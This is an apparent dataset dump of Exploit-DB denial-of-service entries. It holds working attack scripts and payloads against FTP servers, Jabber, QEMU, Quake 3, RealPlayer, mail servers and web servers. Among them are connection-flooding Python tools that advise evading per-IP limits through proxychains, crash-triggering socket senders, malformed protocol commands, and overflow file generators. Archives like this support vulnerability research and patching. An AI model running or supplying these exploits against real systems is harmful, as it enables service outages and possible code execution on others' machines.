deardaniel/secdata-raw huggingface dataset:
Exploit-DB #49697
Description: ProFTPD 1.3.7a - Remote Denial of Service
Type: dos
Platform: multiple
Date: 2021-03-22
Author: xynmaps

Exploit:
# Exploit Title: ProFTPD 1.3.7a - Remote Denial of Service
# Date: 22/03/2021
# Exploit Author: xynmaps
# Vendor Homepage: http://www.proftpd.org/
# Software Link: https://github.com/proftpd/proftpd
# Version: 1.3.7a
# Tested on: Parrot Security OS 5.9.0

#-------------------------------#

#encoding=utf8
#__author__ = XYN/Dump/NSKB3
#ProFTPD Denial of Service exploit by XYN/Dump/NSKB3.
"""
ProFTPD only lets a certain amount of connections to be made to the server, so, by repeatedly making new connections to the server,
you can block other legitimite users from making a connection to the server, if the the connections/ip isn't limited.
(if it's limited, just run this script from different proxies using proxychains, and it will work)
"""

import socket
import sys
import threading
import subprocess
import time

banner = """
._________________.
|      ProFTPD    |
|       D o S     |
|_________________|
|By XYN/DUMP/NSKB3|
|_|_____________|_|
|_|_|_|_____|_|_|_|
|_|_|_|_|_|_|_|_|_|

"""
usage = "{} <TARGET> <PORT(DEFAULT:21> <MAX_CONNS(DEFAULT:50)>".format(sys.argv[0])

def test(t,p):
	s = socket.socket()
	s.settimeout(10)
	try:
		s.connect((t, p))
		response = s.recv(65535)
		s.close()
		return 0
	except socket.error:
		print("Port {} is not open, please specify a port that is open.".format(p))
		sys.exit()
def attack(targ, po, id):
	try:
		subprocess.Popen("ftp {0} {1}".format(targ, po), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
		#print("Worker {} running".format(id))
	except OSError: pass
def main():
	global target, port, start
	print banner
	try:
		target = sys.argv[1]
	except:
		print usage
		sys.exit()
	try:
		port = int(sys.argv[2])
	except:
		port = 21
	try:
		conns = int(sys.argv[3])
	except:
		conns = 50
	print("[!] Testing if {0}:{1} is open".format(target, port))
	test(target, port)
	print("[+] Port {} open, starting attack...".format(port))
	time.sleep(2)
	print("[+] Attack started on {0}:{1}!".format(target, port))
	def loop(target, port, conns):
		global start
		threading.Thread(target=timer).start()
		while 1:
			for i in range(1, conns + 3):
				t = threading.Thread(target=attack, args=(target,port,i,))
				t.start()
				if i > conns + 2:
					t.join()
					break
					loop()

	t = threading.Thread(target=loop, args=(target, port, conns,))
	t.start()

def timer():
        start = time.time()
        while 1:
                if start < time.time() + float(900): pass
                else:
                        subprocess.Popen("pkill ftp", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
                        t = threading.Thread(target=loop, args=(target, port,))
			t.start()
                        break

main()
Exploit-DB #24305
Description: PSCS VPOP3 2.0 - Email Server Remote Denial of Service
Type: dos
Platform: multiple
Date: 2004-07-22
Author: dr_insane

Exploit:
source: https://www.securityfocus.com/bid/10782/info

It is reported that VPOP3 is reported prone to a remote denial of service vulnerability. This issue presents itself when an attacker issues a URI request containing a large value for the 'msglistlen' parameter to the web mail interface.

VPOP3 2.0.0k is reported prone to this issue, however, it is likely that other versions are affected as well.

http://www.example.com:5108/messagelist.html?auth=MDA4MDA2MTQ6MTI3LjAuMC4xOmRpbWl0cmlz&msgliststart=0&msglistlen=10&sortfield=date&sortorder=A
Exploit-DB #7555
Description: Psi Jabber Client (Windows / Linux) - Remote Denial of Service
Type: dos
Platform: multiple
Date: 2008-12-23
Author: Sha0

Exploit:
#!/usr/bin/python
#psi jabber client 8010/tcp remote denial of service (win & lin)
#by sha0[at]badchecksum.net
#http://jolmos.blogspot.com

import socket, sys

sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
    sock.connect((sys.argv[1],8010))
except:
    print 'Cannot connect!'
    sys.exit(1)

try:
    sock.send('\x05\xff')
    print 'Crashed!'
except:
    print 'Cannot send!'

sock.close() 

# milw0rm.com [2008-12-23]
Exploit-DB #49105
Description: Pure-FTPd 1.0.48 - Remote Denial of Service
Type: dos
Platform: multiple
Date: 2020-11-26
Author: xynmaps

Exploit:
# Exploit Title: Pure-FTPd 1.0.48 - Remote Denial of Service
# Date: 2020. nov. 26., 09:32:17 CET
# Exploit Author: xynmaps
# Vendor Homepage: https://www.pureftpd.org/project/pure-ftpd/
# Software Link: https://github.com/jedisct1/pure-ftpd/
# Version: 1.0.48
# Tested on: Parrot Security OS 5.9.0

#encoding=utf8
#__author__ = XYN/Dump/NSKB3
#Pure-FTPd Denial of Service exploit by XYN/Dump/NSKB3.
"""
Pure-FTPd only lets a certain amount of connections to be made to the server, so, by repeatedly making new connections to the server,
you can block other legitimite users from making a connection to the server, if the the connections/ip isn't limited.
(if it's limited, just run this script from different proxies using proxychains, and it will work)
"""

import socket
import sys
import threading
import subprocess
import time

banner = """
._________________.
|    Pure-FTPd    |
|      D o S      |
|_________________|
|By XYN/DUMP/NSKB3|
|_|_____________|_|
|_|_|_|_____|_|_|_|
|_|_|_|_|_|_|_|_|_|

"""
usage = "{} <TARGET> <PORT(DEFAULT:21> <MAX_CONNS(DEFAULT:50)>".format(sys.argv[0])

def test(t,p):
	s = socket.socket()
	s.settimeout(10)
	try:
		s.connect((t, p))
		response = s.recv(65535)
		s.close()
		return 0
	except socket.error:
		print("Port {} is not open, please specify a port that is open.".format(p))
		sys.exit()
def attack(targ, po, id):
	try:
		subprocess.Popen("ftp {0} {1}".format(targ, po), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
		#print("Worker {} running".format(id))
	except OSError: pass
def main():
	global target, port, start
	print banner
	try:
		target = sys.argv[1]
	except:
		print usage
		sys.exit()
	try:
		port = int(sys.argv[2])
	except:
		port = 21
	try:
		conns = int(sys.argv[3])
	except:
		conns = 50
	print("[!] Testing if {0}:{1} is open".format(target, port))
	test(target, port)
	print("[+] Port {} open, starting attack...".format(port))
	time.sleep(2)
	print("[+] Attack started on {0}:{1}!".format(target, port))
	def loop(target, port, conns):
		global start
		threading.Thread(target=timer).start()
		while 1:
			for i in range(1, conns + 3):
				t = threading.Thread(target=attack, args=(target,port,i,))
				t.start()
				if i > conns + 2:
					t.join()
					break
					loop()

	t = threading.Thread(target=loop, args=(target, port, conns,))
	t.start()

def timer():
        start = time.time()
        while 1:
                if start < time.time() + float(900): pass
                else:
                        subprocess.Popen("pkill ftp", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
                        t = threading.Thread(target=loop, args=(target, port,))
			t.start()
                        break

main()
Exploit-DB #39551
Description: Putty pscp 0.66 - Stack Buffer Overwrite
Type: dos
Platform: multiple
Date: 2016-03-10
Author: tintinweb

Exploit:
Source: https://github.com/tintinweb/pub/tree/master/pocs/cve-2016-2563

Author:     <github.com/tintinweb>
Date:       Feb 20th, 2016
Name:           putty
Vendor:         sgtatham - http://www.chiark.greenend.org.uk/~sgtatham/putty/ 

Version: 0.59 [3] (~9 years ago) <= affected <= 0.66
Platform(s):    win/nix
Technology:     c

Vuln Classes:   stack buffer overwrite (CWE-121)
Origin:         remote
Min. Privs.:    post auth
CVE:            CVE-2016-2563

Summary

The putty SCP command-line utility (pscp) is missing a bounds-check for a stack buffer when processing the SCP-SINK file-size response to a SCP download request. This may allow a malicious server to overwrite the stack buffer within the client- application potentially leading to remote code execution.

PoC attached. patch attached.

Besides that, two minor issues have been reported in putty packet handling:

DoS condition in the parsing of SSH-Strings that lead to a nullptr read. (connect putty to poc.py and type x11exploit to trigger one of multiple occurrence of a crash, also works with x11forwarding disabled in putty)
DoS condition in the handling of unrequested forwarded-tcpip channels open requests that lead to a nullptr read. (connect putty to poc.py and type forwardedtcpipcrash to trigger crash)

Details

The vulnerable code is located in pscp.c [4] line 1498 (HEAD) and is based on an unbound sscanf string format descriptor storing an arbitrary length string in a 40byte fixed size stack buffer sizestr[40].


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39551.zip
Exploit-DB #30592
Description: Python 2.2 ImageOP Module - Multiple Integer Overflow Vulnerabilities
Type: dos
Platform: multiple
Date: 2007-09-17
Author: Slythers Bro

Exploit:
source: https://www.securityfocus.com/bid/25696/info

Python's imageop module is prone to multiple integer-overflow vulnerabilities because it fails to properly bounds-check user-supplied input to ensure that integer operations do not overflow.

To successfully exploit these issues, an attacker must be able to control the arguments to imageop functions. Remote attackers may be able to do this, depending on the nature of applications that use the vulnerable functions.

Attackers would likely submit invalid or specially crafted images to applications that perform imageop operations on the data.

A successful exploit may allow attacker-supplied machine code to run in the context of affected applications, facilitating the remote compromise of computers. 

#!/usr/bin/python

import imageop

sexshit = "a"*1603
evil = "p"*5241
connard = "s"*2000
supaire= "45"*65
print supaire
connard = "cool"
salope = "suceuse"
dtc = imageop.tovideo(sexshit,1,4461,[PII_REDACTED])
sexshit = "dtc"*52
print connard,supaire," fin de dump"
Exploit-DB #32195
Description: Qbik WinGate 6.2.2 - 'LIST' Remote Denial of Service
Type: dos
Platform: multiple
Date: 2008-08-08
Author: Antunes

Exploit:
source: https://www.securityfocus.com/bid/30606/info

WinGate is prone to a remote denial-of-service vulnerability affecting the application's IMAP email server.

Exploiting this issue will consume computer resources and deny access to legitimate users.

WinGate 6.2.2 is vulnerable; other versions may also be affected. 

The following example command is available:

LIST Ax1000 *
Exploit-DB #37053
Description: QEMU - Floppy Disk Controller (FDC) (PoC)
Type: dos
Platform: multiple
Date: 2015-05-18
Author: Marcus Meissner

Exploit:
// Source: https://marc.info/?l=oss-security&m=[PII_REDACTED]0935&w=2

#include <sys/io.h>

#define FIFO 0x3f5

int main() {
        int i;
        iopl(3);

        outb(0x0a,0x3f5); /* READ ID */
        for (i=0;i<10000000;i++)
                outb(0x42,0x3f5); /* push */
}
Exploit-DB #32774
Description: QIP 2005 - Malformed Rich Text Message Remote Denial of Service
Type: dos
Platform: multiple
Date: 2009-02-04
Author: ShineShadow

Exploit:
source: https://www.securityfocus.com/bid/33609/info

QIP 2005 is prone to a remote denial-of-service vulnerability.

Exploiting this issue may allow attackers to cause the application to hang and consume excessive computer resources, denying service to legitimate users.

NOTE: This issue may occur in a third-party component used by QIP 2005, but this has not been confirmed.

This issue affects QIP 2005 build 8082; other versions may also be vulnerable.

{\rtf\pict\&&}
Exploit-DB #30885
Description: QK SMTP Server - Malformed Commands Multiple Remote Denial of Service Vulnerabilities
Type: dos
Platform: multiple
Date: 2007-12-13
Author: Juan Pablo Lopez Yacubian

Exploit:
source: https://www.securityfocus.com/bid/26856/info

QK SMTP Server is prone to multiple remote denial-of-service vulnerabilities that occur when handling malformed SMTP commands.

An attacker can exploit these issues to crash the affected application, denying service to legitimate users.

These issues affects QK SMTP Server 3; other versions may also be affected.

HELO ../A/ * 950
MAIL FROM: ../A/ * 950
RCPT TO: ../A/ * 950
data
../A/ * 950
Exploit-DB #14268
Description: Qt 4.6.3 - 'QSslSocketBackendPrivate::transmit()' Denial of Service
Type: dos
Platform: multiple
Date: 2010-07-08
Author: Luigi Auriemma

Exploit:
Source:
http://aluigi.org/adv/qtsslame-adv.txt

#######################################################################

Luigi Auriemma

Application: Qt
http://qt.nokia.com
Versions: <= 4.6.3
Platforms: Windows, Mac OS X, Linux, mobile devices
Bug: QSSLsocket endless loop
Exploitation: remote, versus server
Date: 29 Jun 2010
Author: Luigi Auriemma
e-mail: aluigi@autistici.org
web: aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


From vendor's website:
"Qt is a cross-platform application and UI framework.
Using Qt, you can write web-enabled applications once and deploy them
across desktop, mobile and embedded operating systems without rewriting
the source code."


#######################################################################

======
2) Bug
======


The part of the network library which handles the SSL connection can be
tricked into an endless loop that freezes the whole application with
CPU at 100%.

The problem is located in the QSslSocketBackendPrivate::transmit()
function in src_network_ssl_qsslsocket_openssl.cpp that never exits
from the main "while" loop.

Any application that acts as a server (and client, but has no security
impact in this scenario) and uses SSL through the QSslSocket class is
vulnerable and some examples are the Mumble server (Murmur),
Multi-Computer Virtual Whiteboard and so on.


#######################################################################

===========
3) The Code
===========

http://aluigi.org/poc/qtsslame.zip
or
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/34227.zip (qtsslame.zip)


#######################################################################

======
4) Fix
======


No fix.


#######################################################################
Exploit-DB #27969
Description: Quake 3 Engine - 'CL_ParseDownload' Remote Buffer Overflow
Type: dos
Platform: multiple
Date: 2006-06-05
Author: Luigi Auriemma

Exploit:
// source: https://www.securityfocus.com/bid/18271/info
// 
// The Quake 3 engine is susceptible to a remote buffer-overflow vulnerability. This issue is due to the application's failure to properly bounds-check user-supplied data before copying it to an insufficiently sized memory buffer.
// 
// Remote attackers may exploit this issue to execute arbitrary machine code in the context of affected game clients. Failed exploit attempts will likely crash affected clients.
// 
// Quake 3 version 1.32c and Icculus.org Quake 3 revision 795 are vulnerable to this issue; other versions may also be affected. The affected game engine has been used to create many derivative games, which may also be affected.
// 

// send the gamestate
int i;
MSG_WriteByte( &msg, svc_download );
MSG_WriteShort( &msg, -1 ); // block != 0, for fast return
MSG_WriteShort( &msg, 16384 + 32 ); // amount of bytes to copy
for(i = 0; i < 16384; i++) { // overwrite the data buffer
MSG_WriteByte(&msg, 0x00); // 0x00 for saving space
}
for(i = 0; i < 32; i++) { // do the rest of the job
MSG_WriteByte(&msg, 'a'); // return address: 0x61616161
}
SV_SendMessageToClient( &msg, client );
return;
Exploit-DB #25791
Description: Rakkarsoft RakNet 2.33 - Remote Denial of Service
Type: dos
Platform: multiple
Date: 2005-06-06
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/13862/info

Rakkarsoft RakNet is affected by a remote denial of service vulnerability.

Reportedly, the vulnerability presents itself when the library handles an empty UDP packet.

RakNet 2.33 and prior versions released before May 30, 2005 are affected by this vulnerability. Various games employing the affected library may be vulnerable as well. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25791.zip
Exploit-DB #38930
Description: Rar - CmdExtract::UnstoreFile Integer Truncation Memory Corruption
Type: dos
Platform: multiple
Date: 2015-12-10
Author: Google Security Research

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=550

The attached file crashes in CmdExtract::UnstoreFile because the signed int64 DestUnpSize is truncated to an unsigned 32bit integer. Perhaps CmdExtract::ExtractCurrentFile should sanity check Arc.FileHead.UnpSize early.

I observed this crash in Avast Antivirus, but the origin of the code appears to be the unrar source distribution. I imagine many other antiviruses will be affected, and presumably WinRAR and other archivers.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38930.zip
Exploit-DB #19977
Description: Real Networks Real Server 7.0/7.0.1/8.0 Beta - view-source Denial of Service
Type: dos
Platform: multiple
Date: 2000-06-01
Author: Ussr Labs

Exploit:
source: https://www.securityfocus.com/bid/1288/info

RealServer 7.0 will crash if it receives a request for a specific file with an unspecified variable value. 

http://targetIP:port/viewsource/template.html?
Exploit-DB #27460
Description: RealNetworks (Multiple Products) - Multiple Buffer Overflow Vulnerabilities
Type: dos
Platform: multiple
Date: 2006-03-23
Author: Federico L. Bossi Bonin

Exploit:
source: https://www.securityfocus.com/bid/17202/info

Various RealNetworks products are prone to multiple buffer-overflow vulnerabilities.

These issues can result in memory corruption and facilitate arbitrary code execution. A successful attack can allow remote attackers to execute arbitrary code in the context of the application to gain unauthorized access.

#!/usr/bin/perl
###################################################
# RealPlayer: Buffer overflow vulnerability / PoC
#
# CVE-2006-0323
# http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0323
#
# RealNetworks Advisory
# http://service.real.com/realplayer/security/03162006_player/en/
#
# Federico L. Bossi Bonin 
# fbossi[at]netcomm.com.ar
###################################################

# Program received signal SIGSEGV, Segmentation fault.
# [Switching to Thread [PII_REDACTED] (LWP 21932)]
# 0xb502eeaf in CanUnload2 () from ./plugins/swfformat.so

my $EGGFILE="egg.swf";
my $header="\x46\x57\x53\x05\xCF\x00\x00\x00\x60";

my $endheader="\x19\xe4\x7d\x1c\xaf\xa3\x92\x0c\x72\xc1\x80\x00\xa2\x08\x01".
	      "\x00\x00\x00\x00\x01\x02\x00\x01\x00\x00\x00\x02\x03\x00\x02".
	      "\x00\x00\x00\x04\x04\x00\x03\x00\x00\x00\x08\x05\x00\x04\x00".
              "\x00\x00\x00\x89\x06\x06\x01\x00\x01\x00\x16\xfa\x1f\x40\x40".
	      "\x00\x00\x00";


open(EGG, ">$EGGFILE") or die "ERROR:$EGGFILE\n";
print EGG $header;

for ($i = 0; $i < 135; $i++) {
$buffer.= "\x90";
}

print EGG $buffer;
print EGG $endheader;
close(EGG);
Exploit-DB #38623
Description: RealNetworks RealPlayer - Denial of Service
Type: dos
Platform: multiple
Date: 2013-07-02
Author: Akshaysinh Vaghela

Exploit:
source: https://www.securityfocus.com/bid/60903/info

RealNetworks RealPlayer is prone to a remote denial-of-service vulnerability.

Successful exploits will allow attackers to consume an excessive amount of CPU resources, denying service to legitimate users.

RealPlayer 16.0.2.32 and prior are vulnerable. 

<html> <head> <script language="JavaScript"> { var buffer = '\x41' for(i=0; i <= 100 ; ++i) { buffer+=buffer+buffer document.write(buffer); } } </script> </head> </html>
Exploit-DB #1622
Description: RealPlayer 10.5 (6.0.12.1040-1348) - SWF Buffer Overflow (PoC)
Type: dos
Platform: multiple
Date: 2006-03-28
Author: Federico L. Bossi Bonin

Exploit:
#!/usr/bin/perl
###################################################
# RealPlayer: Buffer overflow vulnerability / PoC
#
# CVE-2006-0323
# http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0323
#
# RealNetworks Advisory
# http://service.real.com/realplayer/security/03162006_player/en/
#
# Federico L. Bossi Bonin 
# fbossi[at]netcomm.com.ar
###################################################

# Program received signal SIGSEGV, Segmentation fault.
# [Switching to Thread [PII_REDACTED] (LWP 21932)]
# 0xb502eeaf in CanUnload2 () from ./plugins/swfformat.so

my $EGGFILE="egg.swf";
my $header="\x46\x57\x53\x05\xCF\x00\x00\x00\x60";

my $endheader="\x19\xe4\x7d\x1c\xaf\xa3\x92\x0c\x72\xc1\x80\x00\xa2\x08\x01".
	      "\x00\x00\x00\x00\x01\x02\x00\x01\x00\x00\x00\x02\x03\x00\x02".
	      "\x00\x00\x00\x04\x04\x00\x03\x00\x00\x00\x08\x05\x00\x04\x00".
              "\x00\x00\x00\x89\x06\x06\x01\x00\x01\x00\x16\xfa\x1f\x40\x40".
	      "\x00\x00\x00";


open(EGG, ">$EGGFILE") or die "ERROR:$EGGFILE\n";
print EGG $header;

for ($i = 0; $i < 135; $i++) {
$buffer.= "\x90";
}

print EGG $buffer;
print EGG $endheader;
close(EGG);

# milw0rm.com [2006-03-28]
Exploit-DB #23755
Description: RedStorm Ghost Recon Game Engine - Remote Denial of Service
Type: dos
Platform: multiple
Date: 2004-02-24
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/9738/info

The Ghost Recon Game Engine has been reported prone to a denial of service vulnerability. When handling text strings, the Ghost Recon Game Engine employs a 32-bit integer string size prefix in order to monitor the size of the string. It has been reported that when an invalid size value is supplied an exception will be triggered causing a system wide denial of service.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23755.rar
Exploit-DB #31378
Description: RemotelyAnywhere 8.0.668 - 'Accept-Charset' Null Pointer Denial of Service
Type: dos
Platform: multiple
Date: 2008-03-10
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/28175/info

RemotelyAnywhere is prone to a remote denial-of-service vulnerability because it fails to adequately sanitize user-supplied input.

Exploiting this issue will cause the server to copy data to a NULL pointer, which will crash the server, denying access to legitimate users.

This issue affects RemotelyAnywhere Server and Workstation 8.0.688; other versions may also be affected.

GET / HTTP/1.1
Accept-Charset: boom
Exploit-DB #23590
Description: Reptile Web Server Reptile Web Server 20020105 - Denial of Service
Type: dos
Platform: multiple
Date: 2004-01-23
Author: Donato Ferrante

Exploit:
source: https://www.securityfocus.com/bid/9482/info

Reptile has been reported prone to a remote denial of service vulnerability. It has been reported that this issue exists because the affected server does not time out on incomplete requests. A remote attacker may exploit this vulnerability to deny service to legitimate users. 

To test the vulnerability simply send to the webserver some (about 10)
strings like:

GET index.htm

without specify the HTTP* at the end of the GET request, and where
the requested file must be avaible in the public_html directory.